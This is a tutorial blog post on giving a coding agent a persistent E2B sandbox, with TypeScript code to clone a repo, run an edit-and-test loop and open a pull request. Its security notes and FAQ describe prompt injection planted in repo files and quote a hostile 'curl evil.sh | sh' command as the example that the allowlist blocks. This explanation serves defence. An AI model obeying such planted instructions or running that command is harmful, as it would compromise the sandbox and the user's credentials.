Give a Coding Agent a Persistent Sandbox: Clone, Edit, Test, PR
One-shot code execution can't build software. An autonomous coding agent needs a filesystem that survives across turns — to install dependencies, edit files, run the test suite, read the failures, and open a pull request. This builds that with a persistent E2B sandbox.
Key takeaways
- One-shot execution and a coding workspace are different tools. The first answers a question with a snippet; the second lives in a repo for dozens of turns and needs its filesystem to survive between them.
- Persistence is a sandbox ID, not a server. Create a sandbox with a long timeout, store its ID against the task, and reconnect with Sandbox.connect(id) from any later request — the installed dependencies and edited files are still there.
- Hand the agent a small, sharp tool set — readFile, writeFile, listDir, runCommand, runTests — and let the edit → test → read-failure → fix loop run itself with a generous stopWhen. The test runner's output is the feedback signal.
- A persistent box is a running cost and a bigger blast radius. Scope the GitHub token tightly, allowlist commands, cap steps and wall-clock time, and kill the sandbox the moment the task is done.
Summary
TL;DR: One-shot code execution is great for answering a question — run a snippet, read stdout, throw the box away. It's useless for building software, because a coding agent needs to clone a repo once, install dependencies once, then edit files and run tests across many turns. This tutorial builds that with a persistent E2B sandbox: create it with a long timeoutMs, store its sandboxId, reconnect with Sandbox.connect() across separate requests, expose readFile/writeFile/runCommand/runTests tools to a Vercel AI SDK agent, and open a pull request when the tests go green.
Every sandbox in this series so far has been a stateless one. You send code in, you read output back, the filesystem is gone the moment the call returns. That's exactly right for what those posts were doing — the one-shot Docker sandbox runs a Python snippet to do arithmetic the model would otherwise fake, and the E2B data-analyst agent uploads a CSV, runs pandas on it, and hands back a chart. In both cases the unit of work is a single self-contained script. Nothing needs to survive.
A coding agent is a different animal, and the difference is the whole point of this post. Ask an agent to "fix the failing test in this repo" and there's no snippet that does it. It has to clone the repo, run npm install (which takes 40 seconds and writes a node_modules you do not want to rebuild on every turn), read a few files, edit one, run the test suite, read the traceback, edit again, rerun, and — when the bar goes green — commit and open a PR. That's twenty to thirty tool calls, and every one assumes the last one's changes are still on disk. Run it against a stateless sandbox and turn two starts from an empty directory. You'd reclone and reinstall on every step. It never converges.
So the model shifts from "execute this snippet" to "work in this repo for thirty turns." What makes that possible is a filesystem that persists across tool calls and, crucially, across separate HTTP requests — because your agent's turns are probably separate requests to a serverless function, not one long-running process. E2B gives you that if you use the core e2b SDK instead of @e2b/code-interpreter. The data-analyst post reached for @e2b/code-interpreter because it wanted runCode and rich chart outputs. We want a shell and a filesystem, so we drop to the core SDK and its commands and files APIs.
Why we're doing this
The temptation, if all you've built before is one-shot execution, is to fake persistence by re-sending state. Keep the repo in your database, write every file into a fresh sandbox at the start of each turn, run one command, read the result, tear it down. It works for about two turns and then the wheels come off.
Consider what "install dependencies" costs. A real Node repo's npm install is 30 to 90 seconds and hundreds of megabytes on disk; a Python repo's pip install -r requirements.txt is similar. Throw the environment away between turns and you pay that every turn — the agent spends more wall-clock time reinstalling than thinking. Worse, the intermediate state a build produces (a compiled dist/, a warmed test cache, a virtualenv) has to be rebuilt each time, and some of it can't be, because it came from a command the agent ran two turns ago and didn't save.
Durable state fixes this at the root. Clone once. Install once. After that, each turn is a cheap operation against a filesystem that already has everything on it. The agent edits src/parser.ts, runs the one test file that covers it, reads the failure, edits again. Turn six sees turn five's edit because it's the same disk. That's the difference between "execute this snippet" and "work in this repo," and it's not a nice-to-have — a coding agent can't function without it.
Here's the split laid out plainly:
| One-shot execution (parts 1–4) | Persistent workspace (this post) | |
|---|---|---|
| Unit of work | A single snippet | A repo across many turns |
| Filesystem lifetime | Vanishes after the call | Survives turns and requests |
| Dependencies | None, or baked into the image | Installed once, reused for the whole task |
| Typical tool calls | 1–5 | 20–30 |
| How you reconnect | You don't — new box each time | Sandbox.connect(sandboxId) |
| SDK | @e2b/code-interpreter / Docker | core e2b (shell + filesystem) |
| Ends with | stdout, a chart | a pushed branch and a pull request |
E2B fits the right-hand column because a sandbox isn't a process you keep alive — it's a cloud microVM identified by a sandboxId. Create it with a long timeout, hold onto that ID, and you can reconnect to the same filesystem from a different request an hour later. When the timeout lapses the sandbox pauses and preserves its state rather than evaporating, and setTimeout extends the clock while work is ongoing. That's what makes a multi-turn, multi-request coding session possible without you running a server.
The architecture
There are two lifecycles here, and keeping them separate is what makes the whole thing work. The sandbox lives for the length of a task — clone to merged PR. A turn is one call to the model that may fire several tools. Many turns share one sandbox, reconnecting to it by ID.
task starts
│
▼
Sandbox.create({ timeoutMs: 30 min }) ──► clone repo (scoped token)
│ npm install (done ONCE)
│
├─ store sandboxId ──► your DB / session store
│
▼
┌─────────────────── agent loop (generateText) ───────────────────┐
│ Sandbox.connect(sandboxId) ← same filesystem, every turn │
│ │
│ readFile ─► writeFile ─► runTests ─► read failure ─► writeFile │
│ ▲ │ │
│ └──────────────── iterate (stopWhen 25) ◄──────────┘ │
└──────────────────────────────────────────────────────────────────┘
│
▼
tests green ──► commit ─► push branch ─► open PR (gh CLI in sandbox)
│
▼
sandbox.kill() ← the moment the task is done
The load-bearing idea: Sandbox.connect(sandboxId) on the left of the loop reattaches to the same microVM every turn. The node_modules from the initial install is still there. The file the agent edited on turn four is still there. Nothing is reconstructed.
Step 1: Prerequisites and setup
You need an E2B API key, a model key, and — for the PR step — a GitHub token. We'll be deliberate about that last one later.
mkdir coding-agent && cd coding-agent
npm init -y
npm install ai @ai-sdk/openai e2b zod dotenv
npm install -D typescript @types/node tsx
Note the dependency is e2b, the core SDK — not @e2b/code-interpreter. The core SDK is the one with commands (a real shell) and files (a real filesystem). That's the whole reason we're not reusing the data-analyst setup.
OPENAI_API_KEY=sk-your-key
E2B_API_KEY=e2b_your_api_key
# A short-lived, narrowly scoped token — see the security section. Not committed.
GITHUB_TOKEN=github_pat_scoped_to_one_repo
Step 2: Create the sandbox and clone the repo — once
This runs at the start of a task, not per turn. It boots a sandbox with a 30-minute timeout, clones the target repo using a scoped token, and installs dependencies. Then it returns the sandboxId for you to store.
// provision.ts
import "dotenv/config";
import { Sandbox } from "e2b";
const WORKDIR = "/home/user/repo";
export async function provisionTask(repo: string): Promise<string> {
// Generous timeout — installs and test runs eat wall-clock time. The sandbox
// pauses (doesn't die) when this lapses, and we extend it on reconnect.
const sandbox = await Sandbox.create({ timeoutMs: 30 * 60 * 1000 });
// Token injected only for this command; x-access-token keeps it out of the
// stored remote so it never lands in .git/config.
const token = process.env.GITHUB_TOKEN!;
const cloneUrl = `https://x-access-token:${token}@github.com/${repo}.git`;
const clone = await sandbox.commands.run(
`git clone --depth 1 ${cloneUrl} ${WORKDIR}`,
{ timeoutMs: 120_000 },
);
if (clone.exitCode !== 0) {
await sandbox.kill();
throw new Error(`Clone failed:\n${clone.stderr}`);
}
// Rewrite the remote to a token-free URL; we re-supply the token only on push.
await sandbox.commands.run(
`git remote set-url origin https://github.com/${repo}.git`,
{ cwd: WORKDIR },
);
// Install ONCE. Every later turn reuses this node_modules.
const install = await sandbox.commands.run("npm install", {
cwd: WORKDIR,
timeoutMs: 180_000,
});
if (install.exitCode !== 0) {
await sandbox.kill();
throw new Error(`Install failed:\n${install.stderr}`);
}
console.log(`Provisioned ${repo} in sandbox ${sandbox.sandboxId}`);
return sandbox.sandboxId; // store this against the task/session
}
sandbox.commands.run() returns a result with stdout, stderr, and exitCode — the same shape any shell gives you, which is why we want the core SDK. Store the returned sandboxId wherever your task state lives: a database row, a Redis key, a session record. That string is the only thing you need to get back to this exact filesystem later.
Step 3: Reconnect from a later request
Your agent's turns are almost certainly separate invocations of a serverless function. Between them, there is no process holding the sandbox — only the ID. Reconnecting is one call, and it's cheap because the sandbox is already running (or paused, in which case it resumes).
// connect.ts
import { Sandbox } from "e2b";
export async function getSandbox(sandboxId: string): Promise<Sandbox> {
const sandbox = await Sandbox.connect(sandboxId);
// Push the timeout back out on every reconnect so a long agent session
// doesn't get cut off mid-loop. Cheap insurance.
await sandbox.setTimeout(30 * 60 * 1000);
return sandbox;
}
That's the mechanism the whole post rests on. Sandbox.connect(sandboxId) reattaches to the same microVM — same node_modules, same edits, same everything. The one-shot posts never needed it because they never came back to a sandbox twice.
Step 4: The agent's tool set
Give the model a small, focused set of tools. Not a raw shell for everything — a few sharp instruments plus one bounded command runner. Each tool reconnects to the task's sandbox by ID, does one thing, and returns plainly.
// tools.ts
import { tool } from "ai";
import { z } from "zod";
import { getSandbox } from "./connect";
const WORKDIR = "/home/user/repo";
// Commands the agent is allowed to run at all. Anything else is refused before
// it reaches the shell. This is a denylist's opposite: default-deny.
const ALLOWED = [/^npm (run |test|ci|install\b)/, /^npx tsc\b/, /^node \S/, /^ls\b/, /^cat\b/];
export function buildTools(sandboxId: string) {
return {
readFile: tool({
description: "Read a UTF-8 file from the repo. Paths are relative to the repo root.",
inputSchema: z.object({
path: z.string().describe("e.g. src/parser.ts"),
}),
execute: async ({ path }) => {
const sandbox = await getSandbox(sandboxId);
try {
return await sandbox.files.read(`${WORKDIR}/${path}`);
} catch {
return `ERROR: no such file: ${path}`;
}
},
}),
writeFile: tool({
description:
"Overwrite a file with new contents. Write the COMPLETE file, not a diff.",
inputSchema: z.object({
path: z.string(),
contents: z.string().describe("The entire new file body."),
}),
execute: async ({ path, contents }) => {
const sandbox = await getSandbox(sandboxId);
await sandbox.files.write(`${WORKDIR}/${path}`, contents);
return `Wrote ${contents.length} bytes to ${path}`;
},
}),
listDir: tool({
description: "List the entries in a directory, relative to the repo root.",
inputSchema: z.object({ path: z.string().default(".") }),
execute: async ({ path }) => {
const sandbox = await getSandbox(sandboxId);
const entries = await sandbox.files.list(`${WORKDIR}/${path}`);
return entries
.map((e) => `${e.type === "dir" ? "d" : "-"} ${e.name}`)
.join("\n");
},
}),
runCommand: tool({
description:
"Run an allowlisted shell command in the repo root (e.g. 'npx tsc --noEmit'). " +
"Only build, lint, and type-check style commands are permitted.",
inputSchema: z.object({ cmd: z.string() }),
execute: async ({ cmd }) => {
if (!ALLOWED.some((re) => re.test(cmd.trim()))) {
return `REFUSED: '${cmd}' is not on the allowlist.`;
}
const sandbox = await getSandbox(sandboxId);
const r = await sandbox.commands.run(cmd, {
cwd: WORKDIR,
timeoutMs: 120_000,
});
return `exit ${r.exitCode}\n${r.stdout}\n${r.stderr}`.slice(0, 8_000);
},
}),
runTests: tool({
description:
"Run the project's test suite. Returns pass/fail and the full failure output. " +
"Call this after every edit to check your work.",
inputSchema: z.object({
filter: z
.string()
.optional()
.describe("Optional test path/name to run a subset while iterating."),
}),
execute: async ({ filter }) => {
const sandbox = await getSandbox(sandboxId);
const cmd = filter ? `npm test -- ${filter}` : "npm test";
const r = await sandbox.commands.run(cmd, {
cwd: WORKDIR,
timeoutMs: 180_000,
});
const verdict = r.exitCode === 0 ? "TESTS PASSED" : "TESTS FAILED";
// Return the tail — failures live at the bottom of most test output.
return `${verdict} (exit ${r.exitCode})\n\n${(r.stdout + r.stderr).slice(-6_000)}`;
},
}),
};
}
Two things earn their keep. runTests returns the verdict and the raw failure text, because that text is the agent's feedback signal — the same way returning stderr verbatim in the Docker post let the model read its own traceback and fix the code. And runCommand is default-deny: it refuses anything off the allowlist before it reaches the shell. The agent gets to type-check and lint, not curl and rm.
Step 5: The agent loop
Now wire the tools into generateText and give the model real room to iterate. The one-shot posts used a stopWhen of 5 or 6 — enough to write a script, see it fail once, and fix it. A coding agent needs far more, because edit → test → read → fix is a cycle it may run eight or ten times before the suite is green.
// agent.ts
import "dotenv/config";
import { generateText, stepCountIs } from "ai";
import { openai } from "@ai-sdk/openai";
import { buildTools } from "./tools";
export async function runCodingTask(sandboxId: string, task: string) {
const { text, steps } = await generateText({
model: openai("gpt-4o"),
system:
"You are a senior engineer working inside a cloned repo. Your job is to make " +
"the requested change and get the test suite green. Work in small steps: read " +
"the relevant files first, make one focused edit, run the tests, read the " +
"failure, and fix it. Do NOT claim you're done until runTests reports a pass. " +
"Write complete files with writeFile — never partial diffs.",
prompt: task,
tools: buildTools(sandboxId),
// Room to edit, test, read the failure, and fix — many times over.
stopWhen: stepCountIs(25),
});
console.log(`Finished in ${steps.length} steps.`);
return { summary: text, steps: steps.length };
}
The stepCountIs(25) is doing the real work. Each step is one tool call plus the model reading the result. A realistic run: listDir the source, readFile the failing module and its test, writeFile a fix, runTests (fails — off-by-one), readFile again, writeFile again, runTests (passes). That's seven steps for an easy bug and twice that for a gnarly one — which is why 5 wouldn't cut it and 25 gives headroom without letting a confused agent spin forever.
Because every tool reconnects with Sandbox.connect(sandboxId), all twenty-five steps hit the same filesystem. Step 20 sees step 6's edit. That continuity is the whole difference from one-shot execution.
Step 6: When tests pass, open the pull request
The agent's job ends at "tests green." Turning a green suite into a pull request is deterministic plumbing you run yourself — you don't want the model improvising git commands. The cleanest path is the gh CLI, which most E2B base templates include, run inside the sandbox where the edits already live.
// pr.ts
import { getSandbox } from "./connect";
const WORKDIR = "/home/user/repo";
export async function openPullRequest(
sandboxId: string,
repo: string,
{ branch, title, body }: { branch: string; title: string; body: string },
) {
const sandbox = await getSandbox(sandboxId);
const token = process.env.GITHUB_TOKEN!;
// Re-supply the token only for the push, via an env var the command sees but
// that never lands in .git/config. gh reads GH_TOKEN from the environment.
const run = (cmd: string) =>
sandbox.commands.run(cmd, {
cwd: WORKDIR,
envs: { GH_TOKEN: token, GIT_AUTHOR_NAME: "coding-agent",
GIT_AUTHOR_EMAIL: "agent@foundrysoft.dev",
GIT_COMMITTER_NAME: "coding-agent",
GIT_COMMITTER_EMAIL: "agent@foundrysoft.dev" },
});
await run(`git checkout -b ${branch}`);
await run(`git add -A`);
await run(`git commit -m ${JSON.stringify(title)}`);
// Push over an authenticated URL built at push time — token never persisted.
const push = await run(
`git push https://x-access-token:${token}@github.com/${repo}.git ${branch}`,
);
if (push.exitCode !== 0) throw new Error(`Push failed:\n${push.stderr}`);
const pr = await run(
`gh pr create --title ${JSON.stringify(title)} ` +
`--body ${JSON.stringify(body)} --head ${branch}`,
);
if (pr.exitCode !== 0) throw new Error(`PR failed:\n${pr.stderr}`);
return pr.stdout.trim(); // the PR URL
}
If you'd rather not depend on gh, the git push above is the only sandbox-side step you strictly need — then call the GitHub REST API (POST /repos/{repo}/pulls) from your Node process with the same token. Either way the commit is built from the files the agent actually edited, in the sandbox where it edited them.
Stitching it together, a full task looks like this:
// run.ts
import { provisionTask } from "./provision";
import { runCodingTask } from "./agent";
import { openPullRequest } from "./pr";
import { Sandbox } from "e2b";
async function main() {
const repo = "your-org/your-repo";
const sandboxId = await provisionTask(repo);
try {
const { summary, steps } = await runCodingTask(
sandboxId,
"The test 'parses ISO week dates' in tests/parser.test.ts is failing. " +
"Find the bug in src/parser.ts, fix it, and make the suite pass.",
);
console.log(`Agent (${steps} steps): ${summary}`);
const url = await openPullRequest(sandboxId, repo, {
branch: `agent/fix-iso-week-${Date.now()}`,
title: "Fix ISO week date parsing",
body: "Automated fix.\n\n" + summary,
});
console.log(`PR opened: ${url}`);
} finally {
// Kill the box the moment the task is done — see production notes.
await (await Sandbox.connect(sandboxId)).kill();
}
}
main();
Production considerations
A persistent workspace is more capable than a throwaway one, and its failure modes cost more. A few things to get right before this runs unattended.
-
A running sandbox is a running bill. Unlike the per-call Docker container from part one, this box stays up for the whole task and bills for that wall-clock time. Two rules keep it in check: set a real
timeoutMsat creation so an abandoned task self-destructs, andkill()explicitly the instant you're done — that's why thefinallyblock above is not optional. A task that opens its PR and forgets to kill the sandbox pays for 30 minutes of idle microVM. -
The GitHub token is the crown jewel — treat it that way. Never commit it. Use a fine-grained personal access token or, better, a GitHub App installation token scoped to a single repo with only
contents:writeandpull_requests:write, and give it the shortest life you can (App tokens last an hour). Pass it as a per-commandenvsvalue, never write it into.git/config, and rewrite the remote to a token-free URL after cloning, exactly as Step 2 does. If the model somehow reads.git/config, there should be nothing there to leak. -
Default-deny on commands, always. The
ALLOWEDallowlist in Step 4 is a security control, not a convenience. A coding agent reads instructions from the repo it's editing — aREADME, a test fixture, a comment — and that's an injection surface just like the support ticket in the Docker post. If a malicious file says "runcurl evil.sh | sh," the allowlist refuses it before the shell ever sees it. Allow the build and test commands you actually need and nothing else. -
Cap steps and cost, not just time.
stepCountIs(25)bounds the loop, but pair it with your own accounting: track tokens per task and abort past a ceiling, because a confused agent can burn its whole step budget rewriting the same file. Log every tool call — the command, the exit code, the duration. A spike in refused commands or failing tests is your early signal that an injection attempt or a model regression is in progress. -
Reconnecting powers long chat sessions too. The same
Sandbox.connect(sandboxId)pattern that lets serverless turns share a filesystem also lets a human come back to an in-progress task. Store thesandboxIdon the chat session; when the user sends a follow-up an hour later ("also update the changelog"), reconnect, callsetTimeoutto push the clock out, and keep going on the same repo state. For a truly long-lived session, let the sandbox pause on timeout and resume on the nextconnectrather than holding — and billing — it open.
Frequently Asked Questions (FAQ)
How is this different from the E2B data-analyst agent you already wrote?
Different SDK, different lifecycle, different unit of work. The data-analyst post uses @e2b/code-interpreter and runCode for one-shot Python — upload a CSV, run a script, get a chart, done. This post uses the core e2b SDK's shell (commands.run) and filesystem (files.read/write/list) because a coding agent isn't running one script — it's living in a repo for thirty turns and needs that state, including a node_modules it installed once, to survive between every turn and request.
Do I need to keep a server running to hold the sandbox open?
No, and that's the point of storing the sandboxId. The sandbox is a cloud microVM that outlives your process. Your serverless function creates it, stores the ID, and returns. The next request — a different invocation entirely — calls Sandbox.connect(sandboxId) and reattaches to the same filesystem. The ID is the handle; there's no long-lived server on your side.
What happens when the timeoutMs runs out mid-task?
The sandbox pauses and preserves its full state rather than being destroyed, so a later connect resumes it where it left off. To avoid the interruption during active work, call sandbox.setTimeout() on each reconnect (Step 3 does this) to push the deadline back out. The ceiling is 24 hours for Pro accounts and one hour on the free tier.
Why give the agent an allowlisted runCommand instead of a full shell?
Because the repo the agent edits is untrusted input. A README, a test fixture, or a code comment can carry a prompt injection, and an agent with an unrestricted shell will happily run curl … | sh if a file convinces it to. The allowlist constrains what the agent can reach regardless of what it's told, which is the same principle as dropping capabilities in the Docker sandbox — isolation that doesn't care what the code says.
Can I use this for languages other than Node?
Yes — nothing here is Node-specific except the example commands. Swap npm install for pip install -r requirements.txt or go mod download, point runTests at pytest or go test, and adjust the ALLOWED patterns to match. The sandbox is a general Linux box; commands.run and the files API don't care what ecosystem you're building in.
Where this leaves the series
Five posts in, you've got a full ladder of sandboxing, and the right rung depends on the job. Reach for the locked-down Docker container when you're self-hosting and want a resource-and-security boundary you control. Reach for the hardened version when the input is genuinely hostile and you need seccomp, egress firewalls, and a real kernel boundary. Reach for Cloudflare Sandboxes when you're already on the edge and want execution to live there too. Reach for a WASM sandbox with Pyodide or QuickJS when you want code to run in-process with no container at all. And reach for a persistent E2B workspace — this post — when the agent isn't running a snippet but building software across dozens of turns. One-shot execution answers a question. A persistent sandbox does a job.
Related reading
Our monthly client reports followed a 40-line prompt nobody dared touch. I moved the whole playbook into an uploaded skill using the new uploadSkill API in Vercel AI SDK v7.
If your app already runs on Cloudflare, you can execute untrusted agent code right next to it — no separate container host or VPC. This builds an agent tool on the Cloudflare Sandbox SDK, from the Dockerfile and wrangler bindings to streamed output.
A locked-down container stops the obvious attacks. Here are the controls that stop a determined one: a non-root user, a tight seccomp profile, resource ulimits, a network egress allowlist, and a real kernel boundary with gVisor.
Let's build something great.
Have a project in mind? We are an elite software and AI development studio ready to bring your ideas to production. Let's talk about your roadmap.